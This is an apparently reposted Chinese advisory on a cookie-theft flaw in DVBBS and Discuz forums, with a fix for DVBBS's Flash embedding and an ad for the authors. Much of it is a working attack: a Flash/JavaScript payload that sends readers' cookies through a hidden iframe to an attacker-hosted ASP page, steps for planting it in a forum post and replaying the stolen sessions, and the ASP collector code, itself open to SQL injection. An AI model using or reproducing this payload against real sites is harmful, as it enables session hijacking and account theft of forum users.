首页 > 开发 > 综合 > 正文

DVBBS等论坛存在Cookies偷取漏洞

2024-07-21 02:25:18
字体:
来源:转载
供稿:网友
灌水公司荣誉出品

◇ 此漏洞所涉及版本::
dvbbs、discus所有版本,其它论坛未作测试,相信大多数都存在该漏洞


◇ 描述:
由于dvbbs等论坛对flash采取直接播放形式,导致攻击者可以利用flash嵌入一段javascript代码,达到偷取用户cookies的目的


◇ 具体分析与利用:
1. 首先准备好一个可以运行asp的空间,用来存放cookies
2. 新建一个flash动画,加入如下代码:
onclipevent (load) {
url="javascript:var rng=document.selection.createrange();rng.pastehtml(/"<iframe name=frame_hide style='display:none'></iframe><img src=http://www.163design.net///"./images/logo.gif///" style=///"display:none///" onload=///"javascript:co=document.cookie;document.all.frame_hide.src='http://存放路径/writecookies.asp?cookies='+co.split('&');var e=document.all;for(var i=0;i<e.length;i++){if(e(i).tagname=='a'){var ss=e(i).outerhtml;}}///">/");"
geturl(url);
}
利用iframe是为了让其它人查觉不到程序的页面跳转
3. 将flash导出为swf文件,插入到想要偷取cookies的论坛上,加入代码/upload/200902/200912100608182775 (注,有些论坛是[swf][/swf])
4. 这样,如果有用户进到贴子里面,javascript程序就会把该用户的cookies送到writecookies.asp,保存到数据库
5. 至于cookies欺骗,推荐使用iecookiesview,很多教程都有介绍,在这里就不多说了


◇ 备注
1. 对于禁用flash的论坛,还可以利用png格式的图片嵌入代码偷取
2. 拿到cookies后,密码是经md5算法加密过的字符串,如果你喜欢用暴力的话,可以试试去解码,当然,个人是不推荐这种方法的


◇ 解决方案:
1. 禁用flash,或将flash改为链接格式,以动网为例,修改inc/ubbcode.asp文件

找到下面两段
re.pattern="(/[flash/])(.[^/[]*)(/[//flash/])"
strcontent= re.replace(strcontent,"<a href=""$2"" target=_blank><img src=http://www.163design.net/a/a/pic/swf.gif border=0 alt=点击开新窗口欣赏该flash动画! height=16 width=16>[全屏欣赏]</a>
<object codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,2,0 classid=clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 width=500 height=400><param name=movie value=""$2""><param name=quality value=high><embed src=""$2"" quality=high pluginspage='http://www.macromedia.com/shockwave/download/index.cgi?p1_prod_version=shockwaveflash' type='application/x-shockwave-flash' width=500 height=400>$2</embed></object>")

re.pattern="(/[flash=*([0-9]*),*([0-9]*)/])(.[^/[]*)(/[//flash/])"
strcontent= re.replace(strcontent,"<a href=""$4"" target=_blank><img src=http://www.163design.net/a/a/pic/swf.gif border=0 alt=点击开新窗口欣赏该flash动画! height=16 width=16>[全屏欣赏]</a>
<object codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,2,0 classid=clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 width=$2 height=$3><param name=movie value=""$4""><param name=quality value=high><embed src=""$4"" quality=high pluginspage='http://www.macromedia.com/shockwave/download/index.cgi?p1_prod_version=shockwaveflash' type='application/x-shockwave-flash' width=$2 height=$3>$4</embed></object>")

改为
re.pattern="(/[flash/])(.[^/[]*)(/[//flash/])"
strcontent= re.replace(strcontent,"<a href=""$2"" target=_blank><img src=http://www.163design.net/a/a/pic/swf.gif border=0 height=16 width=16>[点击打开该flash文件]</a>")

re.pattern="(/[flash=*([0-9]*),*([0-9]*)/])(.[^/[]*)(/[//flash/])"
strcontent= re.replace(strcontent,"<a href=""$4"" target=_blank><img src=http://www.163design.net/a/a/pic/swf.gif border=0 height=16 width=16>[点击打开该flash文件]</a>")


2. 至于png图片的问题,留给写论坛的人自己去解决吧


◇ 附:保存cookies的简单asp代码,如果想要加上其他功能,自己稍为修改一下就行了。
set conn=server.createobject("adodb.connection")
conn.open "driver={microsoft access driver (*.mdb)};dbq="& server.mappath("cookieslog.mdb")
cookies=request("cookies")
ip=request.servervariables("remote_host")
sql="insert into co(cookies,ip) values('"&cookies&"','"&ip&"')"
conn.execute(sql)
set conn=nothing


◇ 广告时间:
本漏洞由“灌水公司”全体工作人员发现,flash代码由余平编写,文档由小竹整理。
灌水公司提供专业级的网站程序开发,数据库开发,收费技术支持、安全顾问服务

联系方式:
qq:48814 (小竹)
qq组:1019634 (灌水公司)

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表